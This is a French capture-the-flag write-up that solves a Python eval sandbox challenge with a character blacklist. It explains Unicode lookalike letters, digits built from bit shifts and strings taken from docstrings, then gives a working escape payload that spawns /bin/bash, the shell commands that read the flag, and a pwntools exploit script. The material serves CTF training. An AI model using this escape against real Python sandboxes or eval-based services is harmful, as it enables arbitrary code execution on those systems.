๐ Python - Not This Way
๐ Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
๐ รnoncรฉ du challenge
#!/usr/bin/env python3
def __welcome__():
return print("MisTrale: Hello ! How can I help you ?")
def __check_code__(code):
restrictedChars = [
"C", "F", "I", "T", "S",
"U", "N", "O", "B", "D",
"G", "H", "J", "K", "M",
"L", "R", "E", "Q", "A",
"c", "f", "i", "t", "s",
"u", "n", "o", "b", "d",
"g", "h", "j", "k", "m",
"l", "r", "e", "q", "a",
"x", "+", "-", "*", "/",
"%", "'", '"', ":", ";",
"{", "}", "__", "@", "`",
]
restrictedChars += [chr(i) for i in range(48, 58)] # Sorry, Don't hate me :(
for char in restrictedChars:
if char in code:
raise Exception(f"Restricted character {char} found in code ! Try harder ;)")
BUILTINS = {
"__welcome__": __welcome__,
"__import__": lambda *a, **kw: __welcome__(),
"p": print,
}
def sandbox(code):
__check_code__(code)
eval(code, {"__builtins__": BUILTINS}, {})
code = ""
while True:
line = input(">>> ")
code += " \n" + line
while line:
line = input("")
code += " \n" + line
try:
sandbox(code)
except Exception as e:
print(e)
code = ""
๐ฉ Avoir le flag
Pour avoir ensuite accรจs ร un scope global nous devons effectuer une injection comme รงa vu que nous avons des BUILTINS
restreints.
>>> ().__class__.__base__.__subclasses__()[121]()._module.__builtins__
Pour รฉviter cette restriction:
restrictedChars = [
"C", "F", "I", "T", "S",
"U", "N", "O", "B", "D",
"G", "H", "J", "K", "M",
"L", "R", "E", "Q", "A",
"c", "f", "i", "t", "s",
"u", "n", "o", "b", "d",
"g", "h", "j", "k", "m",
"l", "r", "e", "q", "a",
"x", "+", "-", "*", "/",
"%", "'", '"', ":", ";",
"{", "}", "__", "@", "`",
]
restrictedChars += [chr(i) for i in range(48, 58)]
๐ก Comment faire notre alphabet ?
Il nous faut dรฉjร savoir comment obtenir __class__
et __base__
sans utiliser les caractรจres bannis, pour cela on peut utiliser la mรฉthode suivante:
()._๏ผฟ๐l๐ถ๐ด๐ด๏ผฟ_._๏ผฟb๐ถ๐ดe๏ผฟ_._๏ผฟ๐ด๐ถb๐l๐ถ๐ด๐ดe๐ด๏ผฟ_()
En fait nous n'utilisons pas les caractรจres ASCII normaux mais des caractรจres Unicode qui sont รฉquivalent. Pour obtenir ces caractรจres on peut utiliser le site suivant: https://en.wikipedia.org/wiki/Mathematical_Alphanumeric_Symbols et l'interprรฉteur Python n'y verra que du feu.
Et pour bypass les '__' on peut utiliser le caractรจre ๏ผฟ
qui est รฉquivalent ร _
en Unicode. Et si on combine les deux on obtient __class__
en Unicode ()._๏ผฟ๐l๐ถ๐ด๐ด๏ผฟ_
.
๐ข Comment faire nos chiffres ?
En fait, en Python, il n'y a pas que les opรฉrateurs:
+
pour additionner-
pour soustraire*
pour multiplier/
pour diviser%
pour modulo
Nous pouvons aussi utiliser les opรฉrateurs:
<<
pour dรฉcaler ร gauche>>
pour dรฉcaler ร droite&
pour faire un ET|
pour faire un OU^
pour faire un XOR~
pour faire un NOT
Et en fait, on peut utiliser ces opรฉrateurs pour obtenir des chiffres. Par exemple, pour obtenir le chiffre 1
on peut faire () == ()
qui est รฉquivalent ร True == True
qui est 1
. Pour obtenir le chiffre 2
, on peut faire (() == ()) << (() == ())
qui est รฉquivalent ร 1 << 1
qui est 2
. Et ainsi de suite jusqu'ร 9
.
>>> print((()==())>>(()==())) # (1 >> 1) == 0
0
>>> print((()==())>>(()!=())) # 1: True == 1
1
>>> print((()==())<<(()==())) # 1 << 1 == 2
2
>>> print(((()==())<<(()==()))|(()==())) # (1 << 1) | 1 == (2 | 1) == 3
3
>>> print((()==())<<(()==())<<(()==())) # 1 << 1 << 1 == 4
4
>>> print(((()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1) | 1 == (4 | 1) == 5
5
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))) # (1 << 1 << 1) | (1 << 1) == (4 | 2) == 6
6
>>> print(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())) # (1 << 1 << 1) | (1 << 1) | 1 = (4 | 2 | 1) == 7
7
>>> print((()==())<<(()==())<<(()==())<<(()==())) # 1 << 1 << 1 << 1 == 8
8
>>> print(((()==())<<(()==())<<(()==())<<(()==()))|(()==())) # (1 << 1 << 1 << 1) | 1 = (8 | 1) == 9
9
๐ฅท Donc, รงa veut dire qu'on peut tout faire ?!
Vu qu'on peut accรฉder ร des objets et crรฉer des chiffres, on peut vraiment recrรฉer tout l'alphabet, car en Python, tous les objets ont une classe doc
qui est un string. Exemple:
().__subclasshook__.__doc__[98] # 'M'
().__class__.__doc__[2] # 'i'
().__add__.__doc__[7] # 's'
().__init_subclass__.__doc__[0] # 'T'
().__add__.__doc__[4] # 'r'
().__add__.__doc__[13] # 'a'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[1] # 'e'
().__class_getitem__.__doc__[4] # 'P'
().__doc__.__doc__[84] # 'w'
().__add__.__doc__[5] # 'n'
().__add__.__doc__[17] # '.'
().__subclasshook__.__doc__[147] # 'F'
().__add__.__doc__[9] # 'l'
().__add__.__doc__[13] # 'a'
().__class__.__doc__[38] # 'g'
Donc avec notre bitshifting
et notre __doc__
on peut tout faire. On peut mรชme faire des imports, mais je ne vais pas vous spoiler la suite.
>>> ().__subclasshook__.__doc__[((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==())))|((((()==())>>(()!=())))<<(((()==())<<(()==())<<(()==()))|(()==())))|((((()==())>>(()!=())))<<((((()==())>>(()!=()))))))].__add__(().__class__.__doc__[(()==())<<(()==())]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())]).__add__(().__init_subclass__.__doc__[(()==())>>(()==())]).__add__(().__add__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(()==())>>(()!=())]).__add__(().__class_getitem__.__doc__[(()==())<<(()==())<<(()==())]).__add__(().__doc__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))))|((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|((()==())>>(()!=()))<<((()==())<<(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__subclasshook__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()!=())))|(((()==())>>(()!=()))<<(()==())>>(()==())))]).__add__(().__add__.__doc__[((()==())<<(()==())<<(()==())<<(()==()))|(()==())]).__add__(().__add__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==()))|(()==())))|(((()==())>>(()!=()))<<((()==())<<(()==())))|(((()==())>>(()!=()))<<((()==())>>(()==()))))]).__add__(().__class__.__doc__[((((()==())>>(()!=()))<<(((()==())<<(()==())<<(()==()))|(()==())))|((()==())>>(()!=()))<<((()==())<<(()==()))|(((()==())>>(()!=()))<<((()==())>>(()!=()))))])
'MisTralePwn.Flag'
๐ Comment faire un import ?
Nous pouvons donc faire un import de notre module os
et ensuite faire un system
de notre /bin/bash
>>> p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐()).๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐._๏ผฟ๐๐๐๐_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐())
ls
Dockerfile main.py flag.txt
cat flag.txt
RM{Python_1S_R34lly_Ev1l_N3v3r_Use_1t_1F_D0nt_Kn0W_4LL_H1s_S3cr3t5}
๐ Script
from pwn import *
context.log_level='critical'
payload = f"""
p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<~(~(()==()))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐()).๐๐๐๐๐๐(p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐๐๐๐_๏ผฟ.๐๐๐๐_๐๐๐๐๐๐._๏ผฟ๐๐๐๐_๏ผฟ[~(~(()==()))<<(~(~(()==()))^~(~(()==()))<<~(~(()==())))|~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))].๐ง๐ฌ๐ฆ๐ซ([p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<(~(~(()==()))<<~(~(()==()))))],p._๏ผฟ๐๐๐๐_๏ผฟ._๏ผฟ๐๐๐_๏ผฟ()[~(~(()==()))<<(~(~(()==()))<<~(~(()==())))|~(~(()==()))<<~(~(()==()))|~(~(()==()))]]).๐๐๐๐๐())""".strip().replace('\n','')
io = process(['python3', 'main.py'])
io.sendline(payload.encode())
io.sendline(b'')
io.interactive()
๐ Documentations
๐ Support
๐ Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github